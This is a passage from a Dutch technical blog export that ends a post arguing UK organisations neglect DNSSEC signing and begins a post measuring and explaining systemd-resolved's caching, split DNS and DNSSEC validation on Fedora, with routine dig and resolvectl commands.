beslist, want in de praktijk is het DNS-antwoord wat bepaalt naar welke machine je verkeer gaat, van welke server je updates komen, en welke host een certificaatautoriteit voor de jouwe houdt. Wie het antwoord beheerst, beheerst alle drie.\nJe ziet het misverstand in het patroon van wie er ondertekend heeft. Niet budget, en ook niet vaardigheid, en zodra je het op een rij zet is het moeilijk als iets anders te lezen dan een patroon van wat elk van hen denkt dat DNS is:\nWie heeft ondertekend Wat DNS voor hen is Registries en TLD-operators, 100% van de gTLD\u0026rsquo;s het product zelf Een inlichtingendienst een aanvalsoppervlak, want hun dreigingsmodel heeft vervalsing erin Negen dorpsraden een schakelaar die hun hoster aanbood en die iemand omzette De eigen klanten van een DNS-provider een standaardwaarde die ze erfden Wie niet Banken, ministeries, leveranciers, CA\u0026rsquo;s leidingwerk, en een niveau onder de interessante problemen De mensen die het dichtst bij DNS als ding op zich staan hebben allemaal ondertekend. De mensen die het als nutsvoorziening afnemen niet, vrijwel zonder uitzondering, hoe goed voorzien en hoe veiligheidsbewust ze zichzelf ook achten. GCHQ heeft niet ondertekend. Acht van de negen certificaatautoriteiten hebben niet ondertekend. Dat zijn geen organisaties met een tekort aan slimme mensen of aan dreigingsmodellen.\nDat is ook waarom het antwoord op Kaminsky in 2008 was om de gok moeilijker te maken in plaats van het ding af te maken dat raden irrelevant maakt. De gok moeilijker maken is een loodgietersoplossing, en loodgieterij is hoe de industrie DNS had opgeborgen.\nEen generatie leerde DNS als een telefoonboek, en werkte het lemma nooit bij toen het stilletjes het ding werd dat bepaalt met wie je praat.\nWe hebben het gebouwd en het toen laten liggen De registries, de operators en de standaardenmensen deden het moeilijke deel. Ze schreven het, bevochten het tien jaar lang door de IETF, ondertekenden de root in een ceremonie met getuigen, en kregen 100% van de generieke topleveldomeinen ondertekend. Dat is een echt stuk collectief ingenieurswerk en het is af.\nEn daarna deden wij, de rest, ons deel niet, want ons deel is saai, onzichtbaar, draagt alle persoonlijke keerzijde en geen van de eer, en niemand controleert het.\nDat is de vorm van elke standaard die niemand handhaaft: de kosten worden alleen gedragen, en het voordeel komt pas opdagen wanneer genoeg anderen ze ook hebben gedragen. Dus de registries droegen ze, en de mensen die de richtlijnen over het dragen ervan publiceren deden dat niet.\nAlleen was de klus hier kleiner dan vrijwel al die andere. De keten was al gebouwd, en betaald, door iemand anders. Het enige wat overbleef was één record.\nEn als dit het stuk is dat we kunnen zien Nog één gedachte, en ik wil duidelijk zijn dat het een gevolgtrekking is en geen meting, want al het andere in dit stuk is geteld en dit niet.\nDNSSEC is ongeveer de makkelijkste beveiligingsmaatregel die er is om te beoordelen. Het kost niets, het werk is een middag, de standaard is al twintig jaar af, en iedereen kan het van buitenaf met één commando controleren zonder toestemming te vragen. Geen audit, geen vragenlijst, geen geheimhoudingsverklaring. Eén dig.\nWat zegt 1,6% je dan over de maatregelen die je van hieruit niet kunt zien?\nDe maatregel Kan een buitenstaander het controleren Kost geld Zichtbaar wanneer het werkt Een DS-record bij je registrar Ja, één commando nee nee MFA op de accounts die ertoe doen nee ja nee Back-ups die dit jaar zijn teruggezet, niet alleen gemaakt nee ja nee Netwerksegmentatie nee ja nee Elke rij onder de eerste is moeilijker dan ondertekenen, kost echt geld, heeft een eigenaar nodig, en deelt de eigenschap die DNSSEC de kop kostte: onzichtbaar wanneer het werkt, en niemand van buiten die controleert. Het enige dat de bovenste rij van de rest scheidt is dat jij hem kunt controleren, gratis, bij wie dan ook, nu meteen.\nHeeft een organisatie het gratis ding van een middag niet gedaan, dat door een vreemde met één commando te verifiëren is, dan ben ik niet geneigd aan te nemen dat ze de dure dingen wel heeft gedaan, die een programma kosten en alleen geverifieerd kunnen worden door iemand die ze binnenlaten.\nDe voor de hand liggende zet is dat tegen de inbraakgeschiedenis toetsen, en dat heb ik geprobeerd. Van 23 Britse organisaties met gedocumenteerde grote incidenten zijn er 22 niet ondertekend.\nDat getal bewijst niets en ik ga niet doen alsof van wel. Bij een basispercentage van 1,6% is één ondertekende organisatie in een lijst van 23 precies wat het toeval voorspelt. Erger nog, de ondertekende verzameling bestaat uit negen dorpsraden en drie nationale parken terwijl de niet-ondertekende verzameling elk groot ministerie en elke grote stad bevat, dus omvang bepaalt zowel wie er wordt aangevallen als wie er in het nieuws belandt. Elke vergelijking van inbraakcijfers tussen de twee groepen zou meten hoe groot een organisatie is, niet of ze heeft ondertekend.\nDus nee, ik kan je niet laten zien dat ondertekende organisaties minder worden gehackt. Niemand kan dat met gegevens die iemand kan krijgen, en wie iets anders zegt houdt je voor de gek.\nDe organisaties die geraakt werden schreven op wat er faalde Je hebt mijn gevolgtrekking niet nodig, want ze hebben het zelf gepubliceerd, en wat er faalde is de lijst hierboven.\nDe British Library is de beste van allemaal, want zij schreven het vrijwillig en gedetailleerd op na hun ransomware-aanval van 2023. Hun eigen evaluatie noemt de oorzaken: binnenkomst hoogstwaarschijnlijk via een account van een derde partij op een Terminal Services-server zonder multifactorauthenticatie, waarna verouderde infrastructuur en beperkte netwerksegmentatie de aanvallers door de omgeving lieten bewegen, terwijl de groeiende complexiteit van toegang door derden intern in 2022 als risico was gemeld en er een jaar later nog steeds zat.19 De ICO kwam tot dezelfde conclusies.20\nDrie rijen van de tabel hierboven dus, van binnenuit bevestigd door de organisatie zelf in plaats van door mij van buitenaf afgeleid.\nEn voordat iemand dat als stok gebruikt: de British Library verdient het tegenovergestelde, en ik zal nadrukkelijk zijn over waarom.\nZe waren open. Vrijwel niemand anders is dat. Er was geen enkele verplichting om er een woord over op te schrijven. Het standaarddraaiboek na een incident is zo weinig zeggen als de wet toestaat, het door een communicatieteam halen, weigeren iets specifieks te bevestigen, en wachten tot de nieuwscyclus verder trekt. Dat is wat de meeste organisaties in de niet-ondertekende kolommen hierboven deden toen zij aan de beurt waren, en het is de reden dat het schrijven van deze paragraaf überhaupt afhangt van het besluit van één instelling om zich anders te gedragen.\nIn plaats daarvan publiceerden ze een evaluatie van achttien pagina\u0026rsquo;s die hun eigen tekortkomingen benoemde, zodat andere instellingen ervan konden leren. Dat is het gedrag dat je van elke organisatie in dit stuk zou willen en van vrijwel geen enkele krijgt. De reden dat ik je kan laten zien wat er werkelijk faalt binnen een gehackte organisatie is dat de British Library besloot het je te vertellen.\nEn er is een tweede reden waarom de rest stil blijft, die erger is dan een communicatiestrategie. Sommigen zijn er niet meer.\nKNP Logistics vervoerde sinds 1865 vracht als Knights of Old. In juni 2023 kwam de Akira-groep binnen, versleutelde het bedrijf en vroeg ongeveer vijf miljoen pond. In september was de groep insolvent en zaten 730 mensen zonder werk.21 Honderdachtenvijftig jaar, in veertien weken weg, en daar schrijft niemand lessen voor je op.\nDus wanneer de niet-ondertekende kolommen hierboven stil lijken, bestaat die stilte uit drie verschillende dingen: organisaties die nog niet geraakt zijn, organisaties die geraakt zijn en zo weinig zeiden als de wet toestaat, en organisaties die geraakt zijn en er niet meer zijn. Alleen de eerste groep heeft nog tijd om te handelen.\nWat het volgende de eerlijke toets van mijn eigen betoog maakt in plaats van een goedkope sneer. Ik heb hun zone gecontroleerd:\n$ dig +short bl.uk DS (nothing) $ dig +short bl.uk DNSKEY (nothing) bl.uk is niet ondertekend. britishlibrary.co.uk evenmin. Twee jaar na een ransomware-aanval die de instelling maandenlang stillegde, na een openbare evaluatie, na een bevinding van de ICO, en na de grondigste ronde beveiligingsaandacht die een organisatie ooit krijgt, is de gratis maatregel die een middag kost en die een vreemde met één commando kan verifiëren nog steeds niet gedaan.\nIk lees dat niet als nalatigheid, en ik denk niet dat het ze erger maakt dan de niet-ondertekende organisaties die niets hebben gepubliceerd. Ik lees het als het sterkste bewijs in dit stuk voor waar het hele ding over ging. Als DNSSEC hier niet gedaan wordt, bij een organisatie die door het vuur is gegaan, de lessen heeft opgeschreven en de toezichthouder erover heen heeft gehad, dan wordt het niet overgeslagen omdat mensen onzorgvuldig zijn. Het wordt overgeslagen omdat niets en niemand het ooit op de lijst zet.\nDat is de eerlijke versie van het betoog. Niet niet-ondertekende zones veroorzaken inbraken, wat onbewijsbaar en waarschijnlijk onwaar is. Eerder: de maatregelen die niemand van buiten kan zien zijn, op het gepubliceerde bewijs van de organisaties die het hebben meegemaakt, precies even verwaarloosd als de ene maatregel die iedereen van buiten kan zien. DNSSEC is niet de oorzaak. Het is de steekproef die je mag nemen.\nDaarom is de meting überhaupt de moeite waard. Niet omdat een niet-ondertekende zone op zichzelf het einde van de wereld is, maar omdat het een van de zeer weinige beveiligingseigenschappen is die een buitenstaander eerlijk kan controleren, gratis, bij wie dan ook, zonder binnengelaten te worden. Behandel het als een rookmelder en niet als een oordeel, en ga daarna de moeilijkere vragen stellen aan wie hem laat afgaan.\nHet enige deel dat jij in de hand hebt Waarmee alleen het deel overblijft dat je zelf in de hand hebt. Je eigen zone. Niet die van het NCSC, niet die van Microsoft, niet die van je bank.\nGa je ouder vragen of hij garant voor je staat:\ndig +short yourdomain.uk DS Komt dat leeg terug, dan ben je niet ondertekend, en op de meeste beheerde DNS is de oplossing in 2026 een schakelaar en een DS-record bij je registrar. Zet het aan, en bewaak daarna de vervaldatum zoals je je certificaten al bewaakt, want dat is de discipline die het hele ding werkelijk nodig heeft.\nDat is de hele klus. Eén record, en een datum in je monitoring.\nDus doe alsjeblieft in elk geval deze ene. Niet omdat er een toezichthouder aankomt, want voor de meesten van jullie komt die niet, en niet omdat iemand je zal bedanken, want dat doen ze niet. Doe het omdat er niemand komt, en een standaard die je nakomt terwijl niemand controleert is de enige soort die ooit iets waard was.\nNegenendertig dorpssecretarissen en een geheime dienst kregen het voor elkaar. Schouders eronder en regel het.\nRFC 4033 — “DNS Security Introduction and Requirements”, Arends e.a., maart 2005. De huidige DNSSEC-specificatie, naast RFC 4034 en RFC 4035.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nIANA root trust anchors — de XML die IANA publiceert. De eerste sleuteldigest draagt validFrom=\u0026quot;2010-07-15\u0026quot;, de datum waarop de root werd ondertekend; de huidige KSK, key tag 20326, draagt validFrom=\u0026quot;2017-02-02\u0026quot;.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nCERT VU#800113 — “Multiple DNS implementations vulnerable to cache poisoning”, het advies uit 2008 over de Kaminsky-techniek, en de bron van de gecoördineerde reactie met willekeurige bronpoorten.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nThe root zone file — opgehaald op 27 september 2026, SOA-serial 2026092701. De tellingen in dit stuk komen uit het rechtstreeks parseren van de NS-delegaties en DS-records in dat bestand.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nList of gov.uk domain names — het eigen register van de overheid. Het meest recente gepubliceerde bestand is gedateerd 1 oktober 2016 en somt 3.004 tweedeniveaudomeinen op.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nMicrosoft Security Response Center — Flame malware collision attack explained — “An attacker took advantage of the Terminal Services licensing system\u0026rsquo;s enrollment process for certificates that chained up to the Microsoft Root Authority which did not require internal access to Microsoft PKI”; het vervalste certificaat “could be used to sign code that chained up to the Microsoft Root Authority and worked on all versions of Windows”.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nSentinelOne — Driving Through Defenses: targeted attacks leverage signed malicious Microsoft drivers, en Bitdefender\u0026rsquo;s FiveSys analysis — kwaadaardige kerneldrivers met handtekeningen die rechtstreeks door Microsoft via het Windows Hardware Compatibility Program waren afgegeven, inclusief drivers die later in ransomware-aanvallen werden gebruikt.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nMicrosoft Security Response Center — Results of major technical investigations for Storm-0558 key acquisition — een consumentenondertekensleutel die via een race condition in een crashdump belandde, buitgemaakt nadat het zakelijke account van een engineer was gecompromitteerd, en gebruikt om tokens te vervalsen die het mailsysteem ten onrechte accepteerde voor zakelijke accounts.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nfTLD Registry Services security requirements — de registry van .bank en .insurance. “.BANK domain names must be signed with DNSSEC with strong cryptographic algorithms”, naast verplichte TLS en e-mailauthenticatie, met jaarlijkse herverificatie van elke registrant.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nApple, WWDC 2022 session 10079, \u0026ldquo;Improve DNS security for apps and servers\u0026rdquo; — “iOS 16 and macOS Ventura now support client side DNSSEC validation”, aan te zetten per sessie of per request met requiresDNSSECValidation op URLSessionConfiguration, URLRequest of NWParameters.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nMicrosoft Learn — Understanding DNSSEC in Windows — de Windows-DNS-client “is non-validating, which means it does not perform DNSSEC validation and relies on its local DNS servers”; de verwachting rond de AD-bit wordt aangestuurd door de Name Resolution Policy Table, en “IPsec is used to establish this trust relationship” met de DNS-server.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nResolved: de resolver die je al draait — de gemeten toestand van systemd-resolved, inclusief waarom elke gangbare distributie DNSSEC=no op compileertijd levert en hoe je dat verandert.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nMS-ADTS: DNS-Based Discovery — de Active Directory-protocolspecificatie voor het vinden van een domeincontroller, inclusief de _ldap._tcp.dc._msdcs SRV-query die een client uitvoert om de controllers voor een naamgevingscontext te vinden.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nMicrosoft Learn — Sign DNS zones with DNSSEC on Windows Server en What is DNSSEC on DNS Server in Windows Server? — zone-ondertekening kwam in Windows Server 2008 R2 maar sloot dynamische updates uit, en Windows Server 2012 voegde online ondertekenen van dynamische zones toe. Bij een Active Directory-geïntegreerde zone repliceren de private ondertekensleutels via Active Directory-replicatie naar de andere primaire DNS-servers.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nresolved.conf(5), systemd 259.9 zoals geleverd in Fedora 44 — de handleiding raadt allow-downgrade aan, en true op systemen waar de upstream-resolver betrouwbaar is, terwijl de standaard in het pakket in /usr/lib/systemd/resolved.conf DNSSEC=no is.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nsystemd meson_options.txt — option('default-dnssec', type : 'combo', choices : ['yes', 'allow-downgrade', 'no'], value : 'allow-downgrade'). De door upstream gekozen standaard is allow-downgrade; de #DNSSEC=no in het leveranciersbestand van Fedora is wat die build in plaats daarvan instelde.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nWe Zijn Nooit Zonder Adressen Geraakt. We Zijn Zonder Moeite Geraakt. — de IPv6-versie van dit betoog, inclusief de 463 Britse organisaties met een IPv6-allocatie die helemaal geen IPv6 aankondigen, en het punt dat er voor een CGNAT een inkooporder bestaat en voor het goed doen niet.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRFC 882 — “Domain Names: Concepts and Facilities”, P. Mockapetris, november 1983. De oorspronkelijke specificatie, in 1987 vervangen door RFC 1034 en RFC 1035.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nBritish Library, \u0026ldquo;Learning Lessons from the Cyber-Attack\u0026rdquo;, 8 maart 2024 — de eigen evaluatie van de bibliotheek van de ransomware-aanval van oktober 2023, waarin het ontbreken van multifactorauthenticatie op het gebruikte account, verouderde infrastructuur, beperkte netwerksegmentatie en de in 2022 als risico gemelde complexiteit van toegang door derden worden benoemd.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nICO statement on the British Library\u0026rsquo;s 2023 ransomware attack, april 2025.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nThe Record — UK logistics firm blames ransomware attack for insolvency, 730 redundancies — KNP Logistics Group, moederbedrijf van het 158 jaar oude Knights of Old, in juni 2023 aangevallen door Akira nadat het wachtwoord van een medewerker met brute kracht was geraden zonder multifactorauthenticatie, en in september insolvent.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n","permalink":"https://blogs.damiendye.uk/nl/dns/dnssec-the-root-is-signed-you-are-not/","summary":"Het moeilijke deel van DNSSEC was jaren geleden af. Geteld in de live rootzone op 27 september 2026 dragen 1.351 van de 1.438 topleveldomeinen een DS-record en zijn alle 1.038 gTLD\u0026rsquo;s ondertekend. Daarna stopt het abrupt. Een telling van elk gov.uk-domein in het officiële register vindt er 39 ondertekend van de 2.390 die nog resolven, negen daarvan dorpsraden, terwijl HMRC, de NHS, GCHQ en het National Cyber Security Centre er niet bij zitten. Eén certificaatautoriteit van de negen heeft ondertekend. Eén Linux-distributie van de drie ook. windowsupdate.com heeft helemaal geen DS. Dit is wat een vervalst antwoord werkelijk kost, wat ondertekenen daaraan doet, waarom de gebruikelijke excuses het contact met de cijfers niet overleven, en of tweeënveertig jaar na Mockapetris het echte probleem is dat vrijwel niemand begrijpt wat DNS eigenlijk belooft.","title":"DNSSEC: je verkeer beschermen tegen vervalsing"},{"content":"Er draait op dit moment een DNS-resolver op je machine. Je hebt hem niet geïnstalleerd, je hebt hem waarschijnlijk nooit geconfigureerd, en hij beantwoordt elke naamlookup die de bak doet. Op Fedora, Ubuntu en de meeste desktop-Linux is dat systemd-resolved, en hij zit daar stilletjes sinds de dag dat het systeem werd geïnstalleerd.\nHij kan drie dingen die het waard zijn om te hebben. Hij cachet, zodat dezelfde lookup niet twee keer het netwerk over hoeft. Hij valideert DNSSEC, zodat een vervalst antwoord wordt afgewezen in plaats van geloofd. En hij spreekt DNS over TLS, zodat het lokale netwerk niet elke naam kan meelezen die je opvraagt.\nStandaard doet hij precies één daarvan. De andere twee staan uit, en op sommige distributies staan ze al op compileertijd uit, wat betekent dat de instelling die jij zou veranderen niet eens de instelling is die het besliste. Een validator die nooit valideert heeft geen enkel nut.\nDit is wat het ding werkelijk doet, gemeten op een draaiende Fedora 44-bak met systemd 259, en wat er verandert als je de andere twee aanzet. Inclusief wat je distributie op compileertijd voor je besloot, en hoeveel daarvan je gewoon kunt overrulen.\nWat je lookups eigenlijk beantwoordt Begin met het eerlijke plaatje, want “het gebruikt /etc/resolv.conf” is op deze systemen al jaren niet meer waar.\nsystemd-resolved biedt zichzelf op vier verschillende manieren aan, en welke een programma gebruikt bepaalt wat het terugkrijgt.1 Het glibc-pad is nss-resolve, ingehaakt via /etc/nsswitch.conf. De native paden zijn D-Bus en Varlink, die het DNSSEC-oordeel en de interface-scope meedragen die getaddrinfo op geen enkele manier kan uitdrukken. En dan de stub-listener, een echte DNS-server op de loopback voor alles wat rauwe DNS spreekt en van niets hierboven weet.\nVier deuren, één daemon.\nOp deze machine ziet die bedrading er zo uit:\n$ ls -l /etc/resolv.conf lrwxrwxrwx. 1 root root 39 May 30 13:56 /etc/resolv.conf -\u0026gt; ../run/systemd/resolve/stub-resolv.conf $ cat /etc/resolv.conf nameserver 127.0.0.53 options edns0 trust-ad search damiendye.uk $ grep ^hosts: /etc/nsswitch.conf hosts: files myhostname mdns4_minimal [NOTFOUND=return] resolve [!UNAVAIL=return] dns resolve in die regel is nss-resolve. dns erachter is de traditionele nss-dns, die daar als terugval zit en alleen afgaat als resolved helemaal niet draait.\nVier manieren naar binnen, één daemon, en een routeringsbeslissing voordat er iets de bak verlaat HOE EEN PROGRAMMA VRAAGT WAT DE DAEMON DOET WAAR HET HEEN GAAT nss-resolve glibc, geen oordeel D-Bus, Varlink native, volledig oordeel 127.0.0.53 de volledige stub 127.0.0.54 de proxystub systemd-resolved 1. hosts en synthetisch 2. cache 3. DNSSEC-validator 4. routering 5. transport de proxystub slaat 2 en 3 over LLMNR op 5355 upstream-DNS Vier manieren naar binnen, één daemon, en een routeringsbeslissing voordat er iets de bak verlaat Er zijn twee stub-listeners, niet één Iedereen kent 127.0.0.53. Minder mensen weten dat er een tweede is.\n$ ss -lntup | grep \u0026#39;:53 \u0026#39; udp UNCONN 0 0 127.0.0.54:53 0.0.0.0:* udp UNCONN 0 0 127.0.0.53%lo:53 0.0.0.0:* tcp LISTEN 0 4096 127.0.0.54:53 0.0.0.0:* tcp LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:* Het zijn niet twee adressen voor hetzelfde ding. De tweede doet met opzet minder:2\n127.0.0.53 127.0.0.54 Rol De volledige lokale resolver Alleen proxymodus Cache Ja Nee DNSSEC-validatie Ja, als het aanstaat Nooit LLMNR en Multicast DNS Ja Nee Synthetische namen (localhost, _gateway) Ja Nee Upgradet naar DNS over TLS Ja Ja Synthetische naam ervoor _localdnsstub _localdnsproxy Je krijgt terug Wat resolved besloot Wat de upstream zei De documentatie is bot over de tweede kolom. Hij zal “pass most DNS messages relatively unmodified to the current upstream DNS servers and back, but not try to process the messages locally, and hence does not validate DNSSEC, or offer up LLMNR/MulticastDNS”.2\nDat maakt 127.0.0.54 het juiste doel voor een programma dat zijn eigen validatie wil doen, of dat het rauwe upstream-antwoord nodig heeft in plaats van resolveds interpretatie ervan.\nBeide adressen hebben synthetische namen, _localdnsstub en _localdnsproxy, die zonder enige configuratie resolven.\nVier modi voor /etc/resolv.conf, niet drie De modus wordt automatisch afgeleid uit wat het bestand is, en er zijn er vier.1\n/etc/resolv.conf is Wat het betekent Clients die NSS omzeilen symlink naar run/systemd/resolve/stub-resolv.conf De aanbevolen modus. Noemt 127.0.0.53 en de actuele zoekdomeinen Gaan via resolved symlink naar /usr/lib/systemd/resolv.conf Statisch, noemt 127.0.0.53, draagt geen zoekdomeinen Gaan via resolved symlink naar run/systemd/resolve/resolv.conf Noemt de echte upstreamservers, wordt actueel gehouden Omzeilen resolved volledig een echt bestand dat iets anders beheert resolved leest het als afnemer, niet als leverancier Omzeilen resolved volledig Die derde rij zet mensen op het verkeerde been. Het lijkt de nette optie, het wordt bijgehouden, en het betekent stilletjes dat elk programma dat resolv.conf rechtstreeks leest met de resolver van je ISP praat zonder cache, zonder validatie en zonder versleuteling, wat je ook in resolved.conf hebt ingesteld.\nDe optie trust-ad in het bestand hierboven doet er ook toe. Zonder die optie haalt glibc de AD-bit van het antwoord af voordat jouw programma het ziet, op de redelijke grond dat de bewering van een willekeurige resolver dat hij iets gevalideerd heeft niets waard is. Met 127.0.0.53 als naamserver komt die bewering van je eigen machine, dus trust-ad klopt hier en resolved schrijft hem voor je erin.\nOver de systemd-complottheorieën Vóór alle details, want dit is het onderwerp waar het altijd opduikt.\nAls je bezwaar tegen wat volgt een theorie is over Lennart Poettering persoonlijk, of over de motieven van Red Hat, of over systemd als complot om je iets af te pakken, dan kun je ophoepelen, want ik heb geen zin om naar je verzinsels te luisteren.\nAlles in dit bericht kwam van een draaiende machine: de broncode, de buildvlaggen, de geleverde binary, de manpages en het gemeten gedrag. Bij elke bewering staat een commando dat je zelf kunt draaien om het na te kijken. De buildvlaggen zijn openbaar. De broncode is openbaar. De ene standaardwaarde die ik werkelijk verkeerd vind, is gekozen door mensen die hun redenering hebben opgeschreven waar iedereen hem kan lezen en er ruzie over kan maken, wat precies is wat ik verderop doe.\nDat is een stuk meer transparantie dan je krijgt van de meeste software die je zonder een woord van klacht draait.\nKom met bewijs of hou op.\nDe cache is het deel dat gewoon werkt Dit is de ene functie die overal standaard aanstaat, en het is degene die zonder enige configuratie zijn brood verdient.\nDe meting, op deze bak, over 32 domeinen. Leeg de cache, vraag de hele lijst op, vraag ze nog eens op, en lees de querytijd die dig meldt in plaats van het proces te klokken:\n$ resolvectl flush-caches $ for n in $NAMES; do dig +tries=1 @127.0.0.53 \u0026#34;$n\u0026#34; A | grep \u0026#39;Query time\u0026#39;; done mediaan gemiddelde p90 max totaal voor 32 namen koude cache 103,5 ms 106,7 ms 184 ms 238 ms 3.414 ms warme cache 0,0 ms 0,5 ms 1 ms 3 ms 16 ms 3.414 milliseconden tegen 16. Dat is het hele argument voor een lokale cache, en het is waarom dit de standaard is.\nWel eerlijk zijn over wat dat getal is, overigens. Het is de besparing op een reeks van tweeëndertig namen die nog nooit waren opgezocht, tegen dezelfde reeks nog eens gedraaid, en geen enkele echte werklast lijkt op een van beide. Het nuttige getal is de staart en niet de mediaan: de slechtste lookup in die set kostte koud 238 ms en warm 3 ms. Een pagina die acht hostnamen binnenhaalt geeft niets om je mediaan, hij wacht op je traagste.\nDe knoppen [Resolve] Cache=yes # yes | no-negative | no CacheFromLocalhost=no # default: do not cache answers from 127.0.0.1 StaleRetentionSec=0 # serve expired records when upstream is down Instelling Standaard Wat het doet Cache=yes aan Cache positieve en negatieve antwoorden Cache=no-negative Alleen positieve antwoorden, voor als je het zat bent een negatieve TTL uit te zitten CacheFromLocalhost=no aan Helemaal niet cachen als de upstream op 127.0.0.1 zit StaleRetentionSec=0 uit Verlopen records blijven serveren als de upstream niet meer antwoordt DNSCacheSize=4096 4096 Records per scope. Alleen systemd 261 en later Die derde rij is degene die bijt. Is je upstream een dnsmasq of een unbound op de loopback, dan cachet resolved zijn antwoorden helemaal niet, op de grond dat het ding waarmee hij praat zelf al een cache is. Richt resolved op een filterende resolver op een andere host en je krijgt twee lagen caching. Richt hem op een op de loopback en je krijgt er één.\nStaleRetentionSec= is de interessante, en die staat standaard uit. Zet hem aan, en als de upstream niet meer antwoordt blijft resolved records serveren voorbij hun TTL in plaats van te falen.2 Hij probeert altijd eerst de upstream. Het geldt niet voor NXDOMAIN, want een naam die niet bestaat is een volstrekt geldig antwoord en daar is niets ouds aan. Voor een laptop die in en uit dekking rijdt, of een machine die door een DNS-storing heen moet blijven werken, is dit het waard:\n[Resolve] StaleRetentionSec=1d systemd 261 voegde daar cachegroottes per protocol aan toe, met DNSCacheSize=, MulticastDNSCacheSize= en LLMNRCacheSize=, elk standaard 4096 records en afgetopt op 2^24.3 Niet op deze bak, die 259 draait, en op geen enkele huidige stabiele distributierelease. Het is het waard te weten dat het eraan komt, want tot nu toe was de cachegrootte helemaal niet instelbaar.\nDe daemon gooit ook alles weg bij geheugendruk, wat verstandig is en af en toe verrassend als je probeert uit te vogelen waarom een cachehitratio er slecht uitziet.\nSplit DNS is de reden om hem te houden Neem je één ding mee uit dit bericht, neem dan deze sectie, want dit is de functie die werkelijk iets doet wat de oude stub-resolver niet kon.\nDe traditionele resolv.conf heeft één lijst met naamservers voor de hele machine. Eén lijst. Breng een VPN op en iets moet hem overschrijven, wat betekent dat ofwel je interne namen werken en de rest van DNS via de bedrijfsresolver gaat, ofwel andersom. Er is geen derde optie. Het bestand kan er geen uitdrukken.\nresolved routeert per query, per interface.1 Elke link heeft zijn eigen servers en zijn eigen domeinen, en een lookup gaat naar de link waarvan het domein het best bij de naam past, op labelaantal.\nConfiguratie Geschreven als Effect Zoekdomein damiendye.uk Achtervoegsel voor namen van één label, en routeert passende queries naar deze link Alleen-routeren-domein ~internal.example Routeert passende queries naar deze link, wordt nooit als achtervoegsel gebruikt Vangnetroute ~. Stuur alles wat nergens anders past naar deze link Standaardroute DNSDefaultRoute=yes Neemt queries zonder match, zonder ~. te claimen Dus een laptop met een werk-VPN op krijgt dit:\nresolvectl domain tun0 \u0026#39;~corp.example\u0026#39; \u0026#39;~10.in-addr.arpa\u0026#39; resolvectl dns tun0 10.0.0.53 Namen onder corp.example en reverse lookups voor 10.0.0.0/8 gaan de tunnel in. Al het andere blijft over de lokale link naar buiten gaan zoals eerst. Niemands resolv.conf is herschreven, en valt de tunnel weg, dan gaan de routes mee.\nEén query, twee links, en een routeringsbeslissing op labelaantal DE QUERY DE BESLISSING DE LINK db01.corp.example 14.0.10.in-addr.arpa blogs.damiendye.uk Meeste labels wint Elke link heeft zijn eigen servers en domeinen. tun0 ~corp.example wlp4s0 DefaultRoute Een tilde routeert alleen. Zonder tilde is het ook achtervoegsel voor namen van één label. Eén query, twee links, en een routeringsbeslissing op labelaantal Eén regel is het waard onomwonden te zeggen, want het is degene waar mensen naar grijpen en die ze verkeerd doen. ~. op een link betekent geef deze link de voorkeur voor alles. Het zorgt er ook impliciet voor dat geen enkele andere link nog standaardroute kan zijn. Wil je dat een link de restjes krijgt zonder de hele naamruimte te claimen? Zet DNSDefaultRoute=yes en laat ~. met rust.\nKijk wat hij besloten heeft in plaats van het aan te nemen:\n$ resolvectl status Link 3 (wlp4s0) Current Scopes: DNS LLMNR/IPv4 LLMNR/IPv6 Protocols: +DefaultRoute LLMNR=resolve -mDNS -DNSOverTLS DNSSEC=no/unsupported Current DNS Server: 192.0.2.53 DNS Servers: 192.0.2.53 2001:db8:1::53 DNS Domain: damiendye.uk Default Route: yes Elk adres in dit bericht komt uit de documentatiereeksen, 192.0.2.0/24 en 2001:db8::/32, dus plak ze niet in een configuratie en verwacht een antwoord.4 5 De cijfers en het gedrag zijn echt, van een draaiende machine. De adressen zijn plaatsvervangers, want een globaal IPv6-adres dat op de gebruikelijke manier is opgebouwd draagt het MAC-adres van de interface in zijn onderste helft, en er een publiceren geeft meteen een stuk hardware-inventaris weg.\nDie -DNSOverTLS en die DNSSEC=no zijn de volgende twee secties.\nHij kan DNSSEC valideren De daemon wordt upstream beschreven als “a caching and validating DNS/DNSSEC stub resolver”.1 De validerende helft is echt, het is geen omhulsel om iets anders heen, en het werkt. Hij staat alleen niet aan.\nHem per link aanzetten heeft geen sudo nodig, want resolvectl gaat via polkit en een actieve lokale sessie mag het:\n$ resolvectl dnssec wlp4s0 yes $ resolvectl status wlp4s0 | grep DNSSEC DNSSEC=yes/supported Dat achtervoegsel /supported is resolved die meldt wat hij vond toen hij de upstream aftastte, los van wat jij vroeg. yes/supported betekent dat je om validatie vroeg en dat de server het kan dragen. no/unsupported op een standaardinstallatie betekent dat niemand erom vroeg, dus dat niemand heeft afgetast.\nZodra het aanstaat komt elke lookup terug met een oordeel, en dat zijn er drie.\nSecure, insecure en bogus zijn drie verschillende antwoorden PUBLICEERT DE OUDER EEN DS, EN KLOPPEN DE SIGNATUREN? SECURE damiendye.uk Ondertekend, en de keten klopt. Data teruggegeven. INSECURE systemd.io Geen DS. Niet ondertekend, dus niets te controleren. 